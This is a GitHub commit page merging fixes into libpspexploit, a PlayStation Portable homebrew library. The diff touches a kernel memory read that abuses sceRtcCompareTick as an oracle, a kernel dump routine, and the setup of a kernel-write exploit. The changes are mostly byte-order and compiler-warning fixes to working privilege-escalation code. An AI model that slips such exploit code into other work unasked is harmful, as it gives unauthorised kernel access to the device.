Skip to content

Commit efebde1

Browse files
Merge pull request #3 from mcidclan/main
fix: correct byte order issue, review memory dump search process
2 parents 4519a21 + 58a17d2 commit efebde1

File tree

5 files changed

+42
-35
lines changed

5 files changed

+42
-35
lines changed

.gitignore

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
*.a
2+
*.o

Makefile

+1-1
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ PSPSDK=$(shell psp-config --pspsdk-path)
1717

1818
CC=psp-gcc
1919
INCDIR = $(ARKROOT)/common/include
20-
CFLAGS = -std=c99 -Wall -Os -G0 -fno-pic
20+
CFLAGS = -std=c99 -Wall -Os -G0 -fno-pic -Wextra -Werror
2121
CXXFLAGS = $(CFLAGS) -fno-exceptions -fno-rtti
2222
ASFLAGS = $(CFLAGS)
2323
LIBDIR =

kernel_read.c

+27-23
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
1+
#include <time.h>
12
#include <pspsdk.h>
23
#include <psprtc.h>
4+
35
/*
46
sceRtcCompareTick kernel exploit by davee, implementation by CelesteBlue
57
*/
@@ -8,43 +10,45 @@
810
// input: 4-byte-aligned kernel address to a 64-bit integer
911
// return *addr >= value;
1012
static int is_ge_u64(uint32_t addr, uint32_t *value) {
11-
return (int)sceRtcCompareTick((uint64_t *)value, (uint64_t *)addr) <= 0;
13+
return (int)sceRtcCompareTick((uint64_t *)value, (uint64_t *)addr) <= 0;
1214
}
1315

1416
// input: 4-byte-aligned kernel address
1517
// return *addr
1618
uint64_t pspXploitKernelRead64(uint32_t addr) {
17-
uint32_t value[2] = {0, 0};
18-
uint32_t res[2] = {0, 0};
19-
int bit_idx = 0;
20-
for (; bit_idx < 32; bit_idx++) {
21-
value[1] = res[1] | (1 << (31 - bit_idx));
22-
if (is_ge_u64(addr, value))
23-
res[1] = value[1];
24-
}
25-
value[1] = res[1];
26-
bit_idx = 0;
27-
for (; bit_idx < 32; bit_idx++) {
28-
value[0] = res[0] | (1 << (31 - bit_idx));
29-
if (is_ge_u64(addr, value))
30-
res[0] = value[0];
31-
}
32-
return *(uint64_t*)res;
19+
uint32_t value[2] = {0, 0};
20+
uint32_t res[2] = {0, 0};
21+
int bit_idx = 0;
22+
for (; bit_idx < 32; bit_idx++) {
23+
value[1] = res[1] | (1 << (31 - bit_idx));
24+
if (is_ge_u64(addr, value)) {
25+
res[1] = value[1];
26+
}
27+
}
28+
value[1] = res[1];
29+
bit_idx = 0;
30+
for (; bit_idx < 32; bit_idx++) {
31+
value[0] = res[0] | (1 << (31 - bit_idx));
32+
if (is_ge_u64(addr, value)) {
33+
res[0] = value[0];
34+
}
35+
}
36+
return ((uint64_t)res[1] << 32) | res[0];
3337
}
3438

3539
void pspXploitDumpKernel(u32* dst, u32* src, u32 size) {
3640

37-
#ifdef DEBUG
38-
pspDebugScreenPrintf("Reading %d bytes of kernel ram @ %p\n", size, src);
39-
#endif
41+
#ifdef DEBUG
42+
pspDebugScreenPrintf("Reading %d bytes of kernel ram @ %p\n", size, src);
43+
#endif
4044

41-
if ((u32)src+size >= 0x88400000) size = 0x88400000 - (u32)src;
45+
if ((u32)src+size >= 0x88400000) size = 0x88400000 - (u32)src;
4246

4347
u32 count = 0;
4448
while (count < size){
4549
u64 ret = pspXploitKernelRead64((u32)src);
46-
dst[0] = ((uint32_t *)&ret)[1];
47-
dst[1] = ((uint32_t *)&ret)[0];
50+
dst[0] = (uint32_t) ret;
51+
dst[1] = (uint32_t)(ret >> 32);
4852
dst += 2;
4953
src += 2;
5054
count += 8;

kernel_write.c

+5-5
Original file line numberDiff line numberDiff line change
@@ -13,11 +13,11 @@
1313
extern int sceSdGetLastIndex(int a1, int a2, int a3);
1414
static int (* _sceKernelLibcTime)(u32 a0, u32 a1) = (void*)NULL;
1515

16-
volatile static u32 packet[256];
17-
volatile static int is_exploited;
16+
static volatile u32 packet[256];
17+
static volatile int is_exploited;
1818

19-
volatile static u32 patch_addr = 0U;
20-
volatile static u32 patch_inst = 0;
19+
static volatile u32 patch_addr = 0U;
20+
static volatile u32 patch_inst = 0;
2121

2222
void pspXploitExecuteKernel(u32 kernelContentFunction)
2323
{
@@ -53,7 +53,7 @@ int pspXploitInitKernelExploit(){
5353
// figure out address of libctime
5454
u32 libctime_addr = pspXploitFindFunctionFromUsermode("UtilsForUser", 0x27CC57F0, kram_copy, KRAM_BACKUP_SIZE);
5555

56-
if (libctime_addr == NULL){
56+
if (!libctime_addr){
5757
sceKernelFreePartitionMemory(memid);
5858
return -1;
5959
}

libpspexploit.c

+7-6
Original file line numberDiff line numberDiff line change
@@ -166,13 +166,14 @@ u32 pspXploitFindFunctionFromUsermode(const char *library, u32 nid, void* buf, u
166166
{
167167
u32 addr;
168168
u32 start_addr = (u32)buf;
169-
169+
size_t library_len = strlen(library);
170+
170171
if (buf) {
171172
u32 maxaddr = start_addr+size;
172173
for (addr=start_addr; addr < maxaddr; addr += 4) {
173-
if (strcmp(library, (const char *)addr) == 0) {
174-
175-
u32 libaddr = (addr-start_addr-4) + 0x88000000; // TODO: is -4 necessary?
174+
175+
if (memcmp((const char*)addr, library, library_len) == 0) {
176+
u32 libaddr = (addr-start_addr) + 0x88000000;
176177

177178
while (*(u32*)(addr -= 4) != libaddr) {
178179
if (addr <= start_addr){
@@ -249,7 +250,7 @@ u32 pspXploitFindFunction(const char *module, const char *library, u32 nid)
249250
void * entTab = mod->ent_top;
250251

251252
// Iterate Exports
252-
for (int i = 0; i < mod->ent_size;)
253+
for (unsigned int i = 0; i < mod->ent_size;)
253254
{
254255
// Cast Export Table Entry
255256
struct SceLibraryEntryTable * entry = (struct SceLibraryEntryTable *)(entTab + i);
@@ -267,7 +268,7 @@ u32 pspXploitFindFunction(const char *module, const char *library, u32 nid)
267268
if(total > 0)
268269
{
269270
// Iterate Exports
270-
for(int j = 0; j < total; j++)
271+
for(unsigned int j = 0; j < total; j++)
271272
{
272273
// Found Matching NID
273274
if(vars[j] == nid) return vars[total + j];

0 commit comments

Comments
 (0)